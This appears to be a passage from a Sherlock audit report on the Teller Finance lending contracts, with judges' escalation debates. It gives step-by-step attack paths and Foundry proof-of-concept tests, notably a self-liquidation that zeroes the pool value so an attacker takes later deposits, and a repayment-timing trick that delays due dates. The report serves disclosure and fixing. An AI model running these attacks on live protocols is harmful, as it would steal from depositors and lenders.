
Vulnerability Detail

The share price may be manipulated to steal funds from users adding or burning shares to the protocol. Although it is not to possible to donate funds to `LenderCommitmentGroup_Smart_test` to perform an inflation attack, the share price can still be modified by taking loans and defaulting them. The following is an example of an attack, inspired by inflation attacks but is actually a deflation attack:

1. Deposit `1e18` in `LenderCommitmentGroup_Smart_test::addPrincipalToCommitmentGroup()`.
2. Take out a loan of `1e18`.
3. Let the loan default and liquidate it, waiting some time to receive incentives and decrease the value of shares. If the attacker is able to default the loan using the max incentive, equalling the total amount borrowed, `poolTotalEstimatedValue_` will be 0.
4. If `poolTotalEstimatedValue_ == 0`, deposit in `LenderCommitmentGroup_Smart_test::addPrincipalToCommitmentGroup()` will hand out 0 shares to users.
5. The attacker will steal all deposits due to being the holder of all shares supply.

The following POC demonstrates the attack above. The test is inserted in the file pasted in issue 'Drained lender due to

LenderCommitmentGroup_Smart::acceptFundsForAcceptBid() _collateralAmount by STANDARD_EXPANSION_FACTOR multiplication'.

```
function test_POC_sharePriceManipulation() public {
    uint256 principalAmount = 1e18;
    deal(address(DAI), attacker, principalAmount);
    vm.startPrank(attacker);

    // add principal to lender to get shares
    DAI.approve(address(lender), principalAmount);
    uint256 shares = lender.addPrincipalToCommitmentGroup(principalAmount,
 ↪  attacker);

    // approve the forwarder
    tellerV2.approveMarketForwarder(marketId, address(smartCommitmentForwarder));

    // borrow the principal
    uint256 collateralAmount = 1;
    deal(address(WETH), attacker, collateralAmount);
    WETH.approve(address(collateralManager), collateralAmount);
    uint256 bidId = smartCommitmentForwarder.acceptCommitmentWithRecipient(
        address(lender),
        principalAmount,
        collateralAmount,
        0,
        address(WETH),
        attacker,
        0,
        2 days
    );

    // attacker liquidates itself, making lender have a 0 total value
    // but non 0 shares
    skip(3 days + 10000);
    deal(address(DAI), attacker, 1e18);
    DAI.approve(address(lender), 1e18);
    lender.liquidateDefaultedLoanWithIncentive(bidId, -int256(1e18));

    vm.stopPrank();

    // borrower mints 0 shares
    uint256 userDai = 1000e18;
    vm.startPrank(user);
    deal(address(DAI), user, userDai);
    DAI.approve(address(lender), userDai);
    assertEq(lender.addPrincipalToCommitmentGroup(userDai, user), 0);
    vm.stopPrank();
    // poolSharesToken are burned incorrectly before calculating exchange rate
    // so this must be fixed or exchange rate will be 1
    vm.mockCall(
        address(lender.poolSharesToken()),
        abi.encodeWithSignature("burn(address,uint256)", attacker, shares),
        ""
    );

    // attacker receives the DAI from the user above
    vm.prank(attacker);
    assertEq(lender.burnSharesToWithdrawEarnings(shares, attacker), userDai);
}
```

Impact

Attacker steals all deposits in `LenderCommitmentGroup_Smart`.

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol#L307-L310
https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol#L396-L399

Tool used

Manual Review

Vscode

Foundry

Recommendation

Add slippage protection to `LenderCommitmentGroup_Smart_-test::addPrincipalToCommitmentGroup/burnSharesToWithdrawEarnings()` by sending `minAmountOut` arguments in both functions. This is similar to how Uniswap handles sandwich attacks in their router.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/22

nevillehuang

There seem to be three ways of "donating" to protocol to trigger an inflation attack, which would entail the same root cause of not utilizing a minimum amount of shares minted, so I believe the issues are all duplicates. All of the "donation" issues affects computations within `getPoolTotalEstimatedValue` which eventually leads to errors within `sharesExchangeRate()` which would ultimately lead to an honest user depositing minting 0 shares.

1. Inflate `tokenDifferenceFromLiquidations` through self liquidation
2. Inflate `totalInterestCollected` by offering high interest rate
3. Self accrue interest and repay to leave 1 wei share, also manipulates `totalInterestCollected`

The fix would be the same, that is to implement a virtual minimum amount of shares.

- 28 - 3
- 64 - 1
- 102 - 1
- 103 - 1
- 161 - 1
- 196 - 2
- 204 - 2
- 273 - 1
- 274 - 1
- 281 - 1
- 291 - 3
- 297 - 3

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-5: Borrowers can surpass `liquidityThresholdPercent` and borrow to near 100% of the principal

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/68

The protocol has acknowledged this issue.

Found by

0x3b, KupiaSec, kennedy1030

Summary

Borrowers can borrow up to 100% of the principal due to getPrincipalAmountAvailableToBorrow relying on deposited principal. This will in tern lock LPs and prevent them from withdrawing.

Vulnerability Detail

acceptFundsForAcceptBid includes a check that prevents borrowers from borrowing more than the `liquidityThresholdPercent` of the principal. This measure is intended to ensure safe withdrawals for LPs even when demand for borrowing exceeds the available principal. If this threshold is reached, no more assets can be borrowed, though LPs are still free to deposit and withdraw.

However, this check relies on getPoolTotalEstimatedValue, which includes `totalPrincipalTokensCommitted` - the total tokens deposited.

```
function getPrincipalAmountAvailableToBorrow() public view returns (uint256) {
        return
 ↪  (uint256(getPoolTotalEstimatedValue())).percent(liquidityThresholdPercent) -
        getTotalPrincipalTokensOutstandingInActiveLoans();
}
```

With this in mind, if `liquidityThresholdPercent` is reached, borrowers can simply deposit some collateral to increase the getPrincipalAmountAvailableToBorrow ratio, borrow the newly available collateral, and withdraw their original stake.

Example:

- `liquidityThresholdPercent` is 80%, expected to be sufficient to ensure normal LP withdrawals.
- Pool value (getPoolTotalEstimatedValue) is $100k.

- Assets borrowed are $80k.
- getPrincipalAmountAvailableToBorrow returns `(100k * 80%) - 80k = 0` -> no borrowing allowed.

Steps:

1. Alice deposits $25k principal (flash loans can be used, but are not required).
2. getPrincipalAmountAvailableToBorrow calculates $20k available (`125k * 80% - $80k = 20k`).
3. Alice borrows $20k.
4. Alice withdraws her $25k principal.

In the example above, our borrower surpassed the `liquidityThresholdPercent`, causing the market to be at 100% utilization, essentially locking LPs until a borrow is repaid or another LP deposits.

Impact

Pools will be in a locked state, where every new deposit will be instantly borrowed or used as exit liquidity by another LP. This also break core contract functionality - borrowers should not be able to borrow past `liquidityThresholdPercent`.

Code Snippet

```
require(
    getPrincipalAmountAvailableToBorrow() >= _principalAmount,
    "Invalid loan max principal"
);
```

Tool used

Manual Review

Recommendation

This issue relates to the overall structure of the protocol and how it implements its math, and not some specific one-liner issue. I am unable to give an exact solution. I can only mention that deposit/withdraw windows will not work here, as the borrower can just withdraw after the time delay.

Discussion

ethereumdegen

Huh. Well i am not exactly sure what this means or how to fix it. Need some help here.

Are you sure that this prevents lenders from withdrawing? Lenders are supposed to always be able to withdraw funds regardless of the getPrincipalAmountAvailableToBorrower()

Also i think this is fixed by the PR that incorporates the 'amount being borrowed' into this calculation. Right here line 757

https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/23/files

please make sure i am correct..

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/23/files

pkqs90

Escalate

I think this issue is duplicate to https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/110. The core issue in both issues is users can perform: 1) Deposit, 2) Take a loan, 3) Withdraw in 1 transaction (or in a short period of time).

This issue talks about the above attack path can bypass the borrowing limit, while https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/110 talks about the same attack path can be used to toy with interest rate.

The sherlock doc states that if two issues share the same vulnerability, they should be duplicate:

```
Issues identifying a core vulnerability can be considered duplicates.

Scenario A:
There is a root cause/error/vulnerability A in the code. This vulnerability A ->
↪  leads to two attack paths:
- B -> high severity path
- C -> medium severity attack path/just identifying the vulnerability.
Both B & C would not have been possible if error A did not exist in the first
↪  place. In this case, both B & C should be put together as duplicates.
```

sherlock-admin3

> Escalate
>
> I think this issue is duplicate to https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/110. The core issue in both issues is

users can perform: 1) Deposit, 2) Take a loan, 3) Withdraw in 1 transaction (or in a short period of time).

This issue talks about the above attack path can bypass the borrowing limit, while https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/110 talks about the same attack path can be used to toy with interest rate.

The sherlock doc states that if two issues share the same vulnerability, they should be duplicate:

```
Issues identifying a core vulnerability can be considered duplicates.

Scenario A:
There is a root cause/error/vulnerability A in the code. This vulnerability
↪  A -> leads to two attack paths:
- B -> high severity path
- C -> medium severity attack path/just identifying the vulnerability.
Both B & C would not have been possible if error A did not exist in the
↪  first place. In this case, both B & C should be put together as
↪  duplicates.
```

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

nevillehuang

Agree with @pkqs90, this issue and duplicates should be a duplicate of #110

0x73696d616f

I do not agree with this escalation, the escalator is mixing the attack path with the root cause. It is a coincidence that both issues are described with the same exact attack path, but their root causes are different, which is the important factor here. You can fix one issue that the other issue is still there. The root cause of this issue is not checking the liquidity threshold when withdrawing. Depositing before borrowing and withdrawing is not required. The bug is still here if past borrowers decide to withdraw -> $100k deposits$80k borrows liquidityThresholdPercent is 80%

Some user withdraws 20k $80k deposits$80k borrows liquidityThresholdPercent is 100%

The 2 issues do not even show the same code snippet.

cvetanovv

I disagree with the escalation.

The root cause of this issue and #110 are entirely different.

- This issue is that a user can bypass the borrowing limit
- The #110 root cause is that the user can manipulate the interest rate.

What they have in common is the path of attack. However, in order to decide whether #68 (Medium) should be duplicated with #110 (High), they must have a common root cause.

The Sherlock documentation also records:

> The exception to this would be if underlying code implementations, impact, and the fixes are different, then they can be treated separately.

This issue fits into all three categories: different impact, implementation, and fix.

Planning to reject the escalation and leave the issue as is.

0x73696d616f

I do agree with #44 and #48 being duplicates of #110 though (which is currently the case, so no change).

pkqs90

Hi @0x73696d616f @cvetanovv. First of all, I'd like to make it clear I'm perfectly okay whether this escalation goes through or not, all my comments are based on facts rather than intention. For me, I just want to better understand how the judging process works.

After reading your comments, I still don't understand why this is an non-duplicate issue.

The `liquidityThresholdPercent` in this protocol is used **only** for calculating `getPrincipalAmountAvailableToBorrow()`, which is used for checking whether the amount of principal borrowed exceeds the limit in `acceptFundsForAcceptBid()`.

Yes, users can withdraw their principal and make the liquidity percentage higher than `liquidityThresholdPercent`, but that is not what this issue is talking about - and I don't think it is a issue anyways, since it doesn't matter if the current liquidity percentage is higher or equal to `liquidityThresholdPercent` - either way no more principal can be taken as loan.

The root cause this issue is talking about is that borrowers can bypass the `liquidityThresholdPercent` check by depositing principal before creating a loan, and withdraw the principal after loan is created. This attack path is identical to https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/110. Both issues talk about the user can *deposit principal before taking action* - but with different goals - this issue's goal is to bypass `liquidityThresholdPercent` check, while https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/110 is to lower interest rate.

Again, I'm perfectly fine whether this escalation goes through or not. Maybe I've misunderstood this issue (maybe the author @0x3b33 can give some reference). Just trying to figuring out the duplication logic here. Thanks!

0x73696d616f

> The root cause this issue is talking about is that borrowers can bypass the liquidityThresholdPercent check by depositing principal before creating a loan, and withdraw the principal after loan is created.

This is not the root cause, and you agree with me given the next sentence

> This *attack path* is identical to https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/110

I do not agree with the next paragraph at all.

> Yes, users can withdraw their principal and make the liquidity percentage higher than liquidityThresholdPercent, but that is not what this issue is talking about - and I don't think it is a issue anyways, since it doesn't matter if the current liquidity percentage is higher or equal to liquidityThresholdPercent - either way no more principal can be taken as loan.

The issue is bypassing `liquidityThresholdPercent`. This issue found an attack path that matches other issues, does not mean they are dups. We would not even be having this conversation if the attack path was just withdrawing to surpass the threshold (much simpler but less complex so would increase the likelihood of being overlooked by a judge imo).

cvetanovv

The similarity between the two issues is that they have the same exact attack path. We do not duplicate issues because of the same exact attack path but because of the same root cause.

Soon, this rule will be improved.

I stand by my initial decision to reject the escalation.

Evert0x

Result: Medium Has Duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- pkqs90: rejected

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-6: Utilization math should include `liquidityThresholdPercent`

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/70

Found by

0x3b, 0xadrii

Summary

Utilization math should include `liquidityThresholdPercent`, as this represents the maximum value that can be borrowed. This means that if borrowing reaches `principal * liquidityThresholdPercent`, then 100% of the available assets are considered borrowed.

Vulnerability Detail

getPoolUtilizationRatio is used within getMinInterestRate to calculate the interest rate at which borrowers borrow. Higher utilization equates to a higher APR.

However, in the current case, getMinInterestRate fails to include `liquidityThresholdPercent` in its calculation. This variable is crucial as it caps the maximum borrowing allowed (e.g., if it's 80%, then a maximum of 80% of the assets can be borrowed).

Not including this variable means that the utilization (and thus the APR) will appear lower than it actually is. An example of this is a more risky market with a lower `liquidityThresholdPercent`, such as 40%. In these markets, even though there is some risk that the LPs take, the maximum utilization will be 40%, as borrowers cannot borrow above that, even if there is demand for this token. This in tern will decease the profits LPs make from staking in risky markets.

Impact

This results in a breakdown of core contract functionality. Utilization above `liquidityThresholdPercent` is unreachable, leading to lower LP profits.

Code Snippet

```
function getPoolUtilizationRatio() public view returns (uint16) {
    if (getPoolTotalEstimatedValue() == 0) { return 0; }
    return uint16( Math.min(
       getTotalPrincipalTokensOutstandingInActiveLoans() * 10000 /
       getPoolTotalEstimatedValue(), 10000 ));
}
```

Tool used

Manual Review

Recommendation

Include `liquidityThresholdPercent` in getPoolUtilizationRatio. For example:

```
-   return uint16(Math.min(getTotalPrincipalTokensOutstandingInActiveLoans() *
 ↪  10000 / getPoolTotalEstimatedValue(), 10000));
+   return uint16(Math.min(getTotalPrincipalTokensOutstandingInActiveLoans() *
 ↪  10000 / (getPoolTotalEstimatedValue().percent(liquidityThresholdPercent)),
 ↪  10000));
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/17

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-7: APRs are lower than they should

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/72

Found by

0x3b, 0x73696d616f, KupiaSec

Summary

LenderCommitmentGroup (LCG) calculates the APR borrowers can borrow on using getMinInterestRate. However, this math doesn't include the amount that the borrower is currently borrowing. As a result, interest rates are lower in every market, and the MAX APR becomes unreachable.

Vulnerability Detail

When borrowers borrow from LCG using acceptFundsForAcceptBid, they can choose the interest rate they are going to pay. Considering that borrowers will always choose the lowest APR available, loans are always made with `_interestRate >= getMinInterestRate()`.

However, getMinInterestRate does not factor in the new amount that the borrower is going to borrow. Instead, it provides the pool's current APR. If the borrower borrows a significant amount of the pool, they will get a very favorable APR. This significantly reduces LP profits because the APR borrowers pay is always lower than the pool's current calculated interest.

Example:

1. APR ranges from 4% to 40% depending on utilization.
2. The pool currently has 70k principal, resulting in 70% utilization and an APR of `40% * 70% = 28%`.
3. Alice borrows 25k (25%) of the pool, raising utilization to 95%.
4. Despite the pool being at 95% utilization, Alice only pays 28% APR because her minimum interest was calculated without considering the newly borrowed amount.

LPs earn 28% APR from Alice's loan even though the pool is 95% utilized. If Alice borrowed 100%, the pool's maximum APR would have been 28% instead of 40% (as no more loans would be given and 28% would be the highest interest), resulting in LPs profits significantly decreasing.

Impact

Lower interest and lower profits for LPs, making the maximum APR unreachable and breaking core functionality.

Code Snippet

```
function getMinInterestRate() public view returns (uint16) {
    return interestRateLowerBound + uint16( uint256(interestRateUpperBound-inter ⌋
↪   estRateLowerBound).percent(getPoolUtilizationRatio()) );
}
```

Tool used

Manual Review

Recommendation

Include the newly borrowed amount in the interest calculation:

```
-   function getMinInterestRate() public view returns (uint16) {
-        return interestRateLowerBound + uint16( uint256(interestRateUpperBound- ⌋
↪   interestRateLowerBound).percent(getPoolUtilizationRatio()) );
-  }
-
+    function getMinInterestRate(uint256 newAmount) public view returns (uint16)
↪   {
+       uint256 utilization =  Math.min((totalPrincipalTokensLended -
↪   totalPrincipalTokensRepaid + newAmount) * 10000  /
↪   getPoolTotalEstimatedValue() , 10000 ));
+       return interestRateLowerBound + uint16(
↪   uint256(interestRateUpperBound-interestRateLowerBound).percent(utilization)
↪   );
+  }
```

If this seems too drastic, you could take the average APR of `before` and `after` the new borrowing and use that.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/23

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-8: Malicious borrower can pay each payment and make its own loan default 1 month later

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/116

The protocol has acknowledged this issue.

Found by

jovi

Summary

There's an edge case in which NextDueDate calculation will yield a due date much longer than what it ought to.

Vulnerability Detail

If the user repays a portion of its loan exactly one day and one second after the accepted timestamp, the next due date will not be 1 month later, but two. Take a look at the calculateNextDueDate function at the V2Calculations library, notice the following snippet:

```
if (
                BPBDTL.getDay(_lastRepaidTimestamp) >
                BPBDTL.getDay(_acceptedTimestamp)
            ) {
                lastPaymentCycle += 2;
            } else {
                lastPaymentCycle += 1;
            }
```

Since one lastPaymentCycle unit will be summed to the due date as the equivalent of one month, lastRepaidTimestamp just has to be on the further day after the accepted timestamp to yield not 1 month but a 2 month due date. This can be used by malicious parties to avoid defaults and to repay loans with much smaller rates.

There's also a second case in which it fails:

```
dueDate_ = _acceptedTimestamp + _paymentCycle;
            // Calculate the cycle number the last repayment was made
            uint32 delta = _lastRepaidTimestamp - _acceptedTimestamp;
            if (delta > 0) {
                uint32 repaymentCycle = uint32(
                    Math.ceilDiv(delta, _paymentCycle)
                );
                dueDate_ += (repaymentCycle * _paymentCycle);
            }
```

The due date can be of two cycles if the borrower pays back a little later than 1 payment cycle duration.

The following POC utilizes the second case to exemplify

POC Paste the following code snippet at the TellerV2_bids.sol contract:

```
function test_repay_loan_minimum2_a() public {
        uint256 bidId = 1;
        setMockBid(bidId);

        tellerV2.mock_setBidState(bidId, BidState.ACCEPTED);
        vm.warp(2 days + block.timestamp);

        //set the account that will be paying the loan off
        tellerV2.setMockMsgSenderForMarket(address(this));

        tellerV2.calculateNextDueDate(bidId);
        //need to get some weth

        lendingToken.approve(address(tellerV2), 1e20);

        tellerV2.calculateAmountOwed(bidId, block.timestamp);
        vm.warp( 28 days + block.timestamp );
        tellerV2.repayLoan(bidId, 100);

        tellerV2.calculateAmountOwed(bidId, block.timestamp);
        assertEq(tellerV2.calculateNextDueDate(bidId), 5184100);
    }

    function test_repay_loan_minimum2_b() public {
        uint256 bidId = 1;
        setMockBid(bidId);

        tellerV2.mock_setBidState(bidId, BidState.ACCEPTED);
        vm.warp(2 days + block.timestamp);

        //set the account that will be paying the loan off
        tellerV2.setMockMsgSenderForMarket(address(this));

        tellerV2.calculateNextDueDate(bidId);
        //need to get some weth
        lendingToken.approve(address(tellerV2), 1e20);

        tellerV2.calculateAmountOwed(bidId, block.timestamp);
        vm.warp( 28 days + block.timestamp + 1 hours);
        tellerV2.repayLoan(bidId, 100);

        tellerV2.calculateAmountOwed(bidId, block.timestamp);
        assertEq(tellerV2.calculateNextDueDate(bidId), 7776100);
    }
```

Before running the tests, make sure to alter the following snippets:
TellerV2_bids.sol setMockBid function:

```
function setMockBid(uint256 bidId) public {
        tellerV2.mock_setBid(
            bidId,
            Bid({
                borrower: address(borrower),
                lender: address(lender),
                receiver: address(receiver),
                marketplaceId: marketplaceId,
                _metadataURI: "0x1234",
                loanDetails: LoanDetails({
                    lendingToken: lendingToken,
                    principal: 100000,
                    timestamp: 100,
                    acceptedTimestamp: 100,
                    lastRepaidTimestamp: 0,
                    loanDuration: 365 days,
                    totalRepaid: Payment({ principal: 0, interest: 0 })
                }),
                terms: Terms({
                    paymentCycleAmount: 10,
                    paymentCycle: 30 days,
                    APR: 10
                }),
                state: BidState.PENDING,
                paymentType: PaymentType.EMI
            })
        );
    }
```

TellerV2_Override.sol repayLoan function:

```
function _repayLoan(
        uint256 _bidId,
        Payment memory _payment,
        uint256 _owedAmount,
        bool _shouldWithdrawCollateral
    ) internal override {
        Bid storage bid = bids[_bidId];

        bid.loanDetails.totalRepaid.principal += _payment.principal;
        bid.loanDetails.totalRepaid.interest += _payment.interest;
        bid.loanDetails.lastRepaidTimestamp = uint32(block.timestamp);

    }
```

Run the tests with the following command:

```
forge test --match-test test_repay_loan_minimum2 -vvvvv
```

Take a look at the execution traces, the test b ends up with a calculateNextDueDate resulting in 7776100 and test a resulting in 5184100 while having the same amount owed. This effectively means a borrower can partially delay his/her payment to get much later dates for the next payment.

Impact

Borrowers can avoid defaults and repayments by arbitrarily paying on certain timestamps. In the worst case a borrower can make multiple monthly payments every two months, essentially halving the borrow APY. This issue is IN-SCOPE as these calculations are utilized by TellerV2.sol. As it is a very easy to setup attack vector, the likelihood is high. As it doesn't incur loss of funds, but decreases the earnings for lenders, the impact is medium.

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L1036 2024-04-teller-finance/teller-protocol-v2-audit-2024/packages/contracts/contracts/libraries/V2Calculations.sol at main · sherlock-audit/2024-04-teller-finance (github.com) 2024-04-teller-finance/teller-protocol-v2-audit-2024/packages/contracts/contracts/libraries/V2Calculations.sol at main · sherlock-audit/2024-04-teller-finance (github.com)

Tool used

Manual Review

Recommendation

Instead of the possibility of adding two months delay as the next payment, a better option would be to always enable a 1 month delay:

```
FROM:
if (
                BPBDTL.getDay(_lastRepaidTimestamp) >
                BPBDTL.getDay(_acceptedTimestamp)
            ) {
                lastPaymentCycle += 2;
            } else {
                lastPaymentCycle += 1;
            }
TO:
                lastPaymentCycle += 1;
```

For the second case, the next payment should always be after a single payment cycle, so the following dueDate should be as follows:

```
if (delta > 0) {
                uint32 repaymentCycle = uint32(
                    Math.ceilDiv(delta, _paymentCycle)
                );
                // no repayment cycle multiplication as that will round in
↪   favour of the borrower and make the next repayment happen on a much later
↪   time period
                dueDate_ += _paymentCycle;
            }
```

Discussion

ethereumdegen

In the vast majority of our cases, loans are 'seconds' instead of 'monthly' type. This does seem to be a valid, although minor, concern so thank you for bringing it to our attention, i think this is a wont-fix at this point .

nevillehuang

@ethereumdegen Since there is a non-zero chance of this occuring I believe medium is appropriate here given the unlikeliness of offering monthly loans.

pkqs90

Escalate

Though this is a valid issue, the error lies in `V2Calculations.sol` contract, which is not in scope of the contest. The original scope is the following.

```
teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwa⌋
↪  rder/SmartCommitmentForwarder.sol
teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwa⌋
↪  rder/extensions/FlashRolloverLoan_G5.sol
teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwa⌋
↪  rder/extensions/LenderCommitmentGroup/LenderCommitmentGroupShares.sol
teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwa⌋
↪  rder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol
teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol
teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2MarketForward⌋
↪  er_G2.sol
teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2MarketForward⌋
↪  er_G3.sol
```

Thus I think this issue should be OOS, specifically for this contest.

sherlock-admin3

> Escalate
>
> Though this is a valid issue, the error lies in `V2Calculations.sol` contract, which is not in scope of the contest. The original scope is the following.
>
> ```
> teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitment⌋
> ↪  Forwarder/SmartCommitmentForwarder.sol
> teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitment⌋
> ↪  Forwarder/extensions/FlashRolloverLoan_G5.sol
> teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitment⌋
> ↪  Forwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroupShares.⌋
> ↪  sol
> teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitment⌋
> ↪  Forwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.⌋
> ↪  sol
> teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol
> teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2MarketFo⌋
> ↪  rwarder_G2.sol
> teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2MarketFo⌋
> ↪  rwarder_G3.sol
> ```
>
> Thus I think this issue should be OOS, specifically for this contest.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0jovi0

According to the rules at https://docs.sherlock.xyz/audits/judging/judging#iii.-sherlocks-standards - section "7. Contract Scope", subsection 2: "In case the vulnerability exists in a library and an in-scope contract uses it and is affected by this bug this is a valid issue."

As TellerV2.sol utilizes the library for the calculations, the issue is in scope.

nevillehuang

Agree with @0jovi0, the escalation should be rejected

cvetanovv

I disagree with the escalation.

@0jovi0 is right. According to Sherlock rules, this issue is in the audit scope.

Planning to reject the escalation and leave the issue as is.

Evert0x

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- pkqs90: rejected

Issue M-9: `LenderCommitmentGroup` pools will have incorrect exchange rate when fee-on-transfer tokens are used

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/122

Found by

0x73696d616f, 0xAnmol, 0xadrii, BengalCatBalu, BoRonGod, DPS, KupiaSec, aman, cryptic, kennedy1030, merlin, pkqs90, psb01

Summary

`LenderCommitGroup_Smart` contract incorporates internal accounting for the amount of tokens deposited, withdrawn, etc. The problem is that if one of the pools has a fee-on-transfer token, the accounting is not adjusted. This will create inflated accountings of the tokens within the pool, and impact the exchange rate.

Vulnerability Detail

`LenderCommitmentGroup_Smart` is a contract that acts as it's own loan committment, which has liquidity pools with `principal token` and `collateral token`. Users can deposit `principal tokens` in exchange for `share tokens`.

Here is the flow of depositing principal tokens for shares

`LenderCommitmentGroup_Smart::addPrincipalToCommitmentGroup`

```
    function addPrincipalToCommitmentGroup(
        uint256 _amount,
        address _sharesRecipient
    ) external returns (uint256 sharesAmount_) {

        // @audit if token is Fee-on-transfer, `_amount` transferred will be less
        principalToken.transferFrom(msg.sender, address(this), _amount);

@>      sharesAmount_ = _valueOfUnderlying(_amount, sharesExchangeRate());

        // @audit this will be inflated
        totalPrincipalTokensCommitted += _amount;

        // @audit Bob is minted shares dependent on original amount, not amount
↪   after transfer
        poolSharesToken.mint(_sharesRecipient, sharesAmount_);
    }
```

```
function sharesExchangeRate() public view virtual returns (uint256 rate_) {
    //@audit As more FOT tokens are deposited, this value becomes inflated
    uint256 poolTotalEstimatedValue = getPoolTotalEstimatedValue();

    // @audit EXCHANGE_RATE_EXPANSION_FACTOR = 1e36
    if (poolSharesToken.totalSupply() == 0) {
        return EXCHANGE_RATE_EXPANSION_FACTOR; // 1 to 1 for first swap
    }

    rate_ =
        (poolTotalEstimatedValue * EXCHANGE_RATE_EXPANSION_FACTOR) /
        poolSharesToken.totalSupply();
}
```

```
function _valueOfUnderlying(
    uint256 amount,
    uint256 rate
) internal pure returns (uint256 value_) {
    if (rate == 0) {
        return 0;
    }

    value_ = (amount * EXCHANGE_RATE_EXPANSION_FACTOR) / rate;
}
```

As you can see, the original `_amount` entered is used to not only issue the shares, but to keep track of the amount pool has:

```
function getPoolTotalEstimatedValue()
    public
    view
    returns (uint256 poolTotalEstimatedValue_)
{
    // @audit This will be inflated
    int256 poolTotalEstimatedValueSigned = int256(
        totalPrincipalTokensCommitted
    ) +
        int256(totalInterestCollected) +
        int256(tokenDifferenceFromLiquidations) -
        int256(totalPrincipalTokensWithdrawn);

    poolTotalEstimatedValue_ = poolTotalEstimatedValueSigned > int256(0)
        ? uint256(poolTotalEstimatedValueSigned)
        : 0;
}
```

If `poolTotalEstimatedValue` is inflated, then the exchange rate will be incorrect.

Impact

As mentioned above, incorrect exchange rate calculation. Users will not receive the correct amount of shares/PT when withdrawing/depositing

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol#L307

Tool used

Manual Review

Recommendation

Check balance before and after transferring, then update accounting.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/37

0xMR0

Escalate

This is invalid issue.

The contest readme states:

> We are allowing any standard token that would be compatible with Uniswap V3 to work with our codebase, just as was the case for the original audit of TellerV2.sol . The tokens are assumed to be able to work with Uniswap V3 .

Uniswap V3 explicitely does not support Fee on transfer tokens. This can be checked here

> Uniswap v3 does not support Fee on transfer tokens.

cc- @ethereumdegen

sherlock-admin3

> Escalate
>
> This is invalid issue.
>
> The contest readme states:
>
> > We are allowing any standard token that would be compatible with Uniswap V3 to work with our codebase, just as was the case for the original audit of TellerV2.sol . The tokens are assumed to be able to work with Uniswap V3 .
>
> Uniswap V3 explicitely does not support Fee on transfer tokens. This can be checked here
>
> > Uniswap v3 does not support Fee on transfer tokens.
>
> cc- @ethereumdegen

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

underdog-sec

Answering @0xMR0: As mentioned in the link you provided: *Fee-on-transfer tokens will not function with our* ***router*** *contracts*. It is only the router which does not support fee-on-transfer tokens. All other contracts in the Uniswap v3 protocol itself **do** support fee-on-transfer tokens.

